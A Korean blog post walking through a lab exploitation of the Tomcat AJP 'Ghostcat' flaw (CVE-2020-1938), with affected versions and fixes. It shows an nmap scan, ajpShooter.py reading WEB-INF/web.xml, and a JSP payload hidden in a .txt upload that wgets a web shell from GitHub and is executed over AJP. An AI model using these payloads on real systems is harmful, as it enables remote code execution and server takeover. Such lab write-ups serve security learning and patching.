[CVE-2020-1938] Ghostcat : Tomcat-AJP 프로토콜 취약점 실습

energy·2022년 7월 31일
0

CVE

목록 보기
1/1

CVE-2020-1938 : Ghostcat

Tomcat이 AJP request 메시지를 처리할 때, 메시지에 대한 처리가 미흡하여 발생하는 원격코드실행 취약점

※ AJP (Apache Jserv Protocol)

웹 서버와 애플리케이션 서버 간 연결 요청을 8009 포트를 이용하여 전달하는 프로토콜

※ 영향 받는 버전

Apache Tomcat

  • 9.0.30 이하
  • 8.5.50 이하
  • 7.0.99 이하
    (해당 버전은 AJP Connector가 기본적으로 활성화되어 취약점에 영향을 받음)

※ 해결 방안

1. 최신 버전 업데이트

  • 9.0.31 이상
  • 8.5.51 이상
  • 7.0.100 이상

2. AJP Connector 비활성화

  • [tomcat_dir]/conf/server.xml 설정 파일 내 AJP Connector 기능 주석처리
<!-- Define an AJP 1.3 Connector on port 8009 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />  # 해당 부분 주석처리



실습

1. 실습 환경

▮ 피해자

  • Ubuntu 18.04
  • Tomcat 8.5.50
  • 파일 업로드 기능이 존재하는 JSP 웹 사이트

▮ 공격자

  • Windows 10

공격 타겟은 파일 업로드 기능이 존재하는 단순한 테스트 사이트이다.


파일 업로드가 정상적으로 완료되면, 업로드된 파일의 경로가 출력된다.


확장자는 txt, png, jpg만 업로드할 수 있도록 White-list 방식으로 검증하고 있으며,
JSP 확장자 파일을 업로드 시도하면


허용된 확장자가 아니라는 알림과 함께 업로드가 실패된다.


2. 취약 여부 확인

따라서 단순하게 이 사이트에서는 JSP 파일을 업로드 할 수 없는 환경이다.
사용자가 접근할 수 없는 WEB-INF 하위에 존재하는 파일을 접근했을 때, 표시되는 에러 페이지를 확인해보면,
취약한 버전의 Tomcat을 사용하고 있는 것을 근거로, Ghostcat 취약점 존재를 의심해볼 수 있다.


따라서 nmap으로 포트스캔을 수행해보면, Ghostcat의 본질적인 취약점인 AJP 프로토콜이 Open 되어 있는 것을 확인할 수 있다.

λ nmap -sS -p 8009 192.168.100.131
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-31 22:41 대한민국 표준시
Nmap scan report for 192.168.100.131
Host is up (0.00088s latency).

PORT     STATE SERVICE
8009/tcp open  ajp13
MAC Address: 00:0C:29:70:81:02 (VMware)

이제 Ghostcat의 POC AJP Shooter.py를 다운받아서 취약 여부를 확인해본다.
AJP Shooter는 AJP 프로토콜을 이용해서 특정 파일을 읽거나 실행할 수 있도록 하는 옵션이 존재한다.
사용법은 다음과 같다.

python ajpShooter.py <타겟 URL> <AJP 포트> <read 또는 eval>
positional arguments:
  url 			대상 사이트의 컨텍스트 루트 URL(예: http://www.example.com/demo/)
  ajp_port jp 	포트
  target_file 	/WEB-INF/web.xml,/image/evil.jpg와 같이 읽거나 실행할 대상 파일
  {read,eval} 	읽기 또는 실행할 파일
                                                                                          
optional arguments:
  -h, --help 							도움말 메시지를 표시하고 종료
  --ajp-ip AJP_IP 						ajp	서버 ip, 기본값은 url에서 구문 분석됩니다.
  -H HEADER, --header HEADER			헤더를 추가합니다.
  -X {GET,POST,HEAD,OPTIONS,PROPFIND}	메소드를 설정합니다(기본값: GET).
  -d DATA, --data DATA 					POST할 데이터
  -o OUT_FILE, --out-file OUT_FILE		파일에 응답 쓰기
  --debug

다운받은 ajpShooter.py를 이용해서 타겟 URL을 입력 후 AJP 포트(8009)와 테스트로 읽을 파일을 설정한다. 읽을 파일은 사용자가 읽을 수 없는 /WEB-INF/web.xml로 설정했다.
다음과 같이 정상적으로 web.xml 파일을 읽을 수 있었다.

λ python ajpShooter.py http://192.168.100.131:8080/index.html 8009 /WEB-INF/web.xml read

       _    _         __ _                 _
      /_\  (_)_ __   / _\ |__   ___   ___ | |_ ___ _ __
     //_\\ | | '_ \  \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
    /  _  \| | |_) | _\ \ | | | (_) | (_) | ||  __/ |
    \_/ \_// | .__/  \__/_| |_|\___/ \___/ \__\___|_|
         |__/|_|
                                                00theway,just for test


[<] 200 200
[<] Accept-Ranges: bytes
[<] ETag: W/"1461-1659252728553"
[<] Last-Modified: Sun, 31 Jul 2022 07:32:08 GMT
[<] Content-Type: application/xml
[<] Content-Length: 1461

<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                      http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
  version="3.1"
  metadata-complete="true">

  <display-name>Welcome to Tomcat</display-name>
  <description>
     Welcome to Tomcat
  </description>
<!--
<resource-ref>
      <description>Oracle Datasource example</description>
      <res-ref-name>jdbc/myoracle</res-ref-name>
      <res-type>javax.sql.DataSource</res-type>
      <res-auth>Container</res-auth>
  </resource-ref>
-->
</web-app>

3. 공격

취약점이 존재하는 것을 확인했다.
그렇다면, 특정 파일을 실행할 수도 있다는 의미이다.
본 사이트는 JSP 파일이 업로드 되지 않기 때문에 웹 쉘을 직접 업로드 할 수 없다.

따라서 웹 쉘 파일을 다운로드 받는 명령어가 저장된 txt 파일을 업로드하고,
그 txt 파일을 AJP 프로토콜을 이용해 실행시켜서 다운로드 받은 웹 쉘을 접근해보는 시나리오를 수행해볼 것이다.


먼저 타겟 사이트에 업로드할 txt 파일을 작성한다.
txt 파일의 내용은 wget 명령어를 이용하여 github에 있는 웹 쉘 샘플 파일을 다운로드하는 스크립트다.
웹 쉘 선택 시 타겟 사이트가 Windows 환경인지, Linux 환경인지 확인 후 해당하는 쉘을 사용해야 한다.

λ cat shell_download.txt

<%
Runtime.getRuntime().exec("wget -O /usr/apache-tomcat-8.5.50/webapps/ROOT/webshell.jsp https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp");
%>

작성한 txt 파일을 업로드한 결과, txt 파일이기 때문에 정상적으로 업로드 되었으며, 저장 경로를 확인했다.


이제 ajpShooter.py를 이용해서 업로드된 txt 파일을 실행시킨다.
파이썬 실행 결과, 응답은 200으로 정상 반응이다.
따라서 서버는 wget 명령어를 이용하여 웹 쉘을 다운 받았을 것이다.

λ python ajpShooter.py http://192.168.100.131:8080/ 8009 /upload/shell_download.txt eval

       _    _         __ _                 _
      /_\  (_)_ __   / _\ |__   ___   ___ | |_ ___ _ __
     //_\\ | | '_ \  \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
    /  _  \| | |_) | _\ \ | | | (_) | (_) | ||  __/ |
    \_/ \_// | .__/  \__/_| |_|\___/ \___/ \__\___|_|
         |__/|_|
                                                00theway,just for test


[<] 200 200
[<] Set-Cookie: JSESSIONID=F04CD30BBD98A892B5B8766F9E47DCE1; Path=/; HttpOnly
[<] Content-Type: text/html
[<] Content-Length: 0

서버가 다운로드 받은 웹 쉘을 실행하여 OS 명령을 실행할 수 있다.

0개의 댓글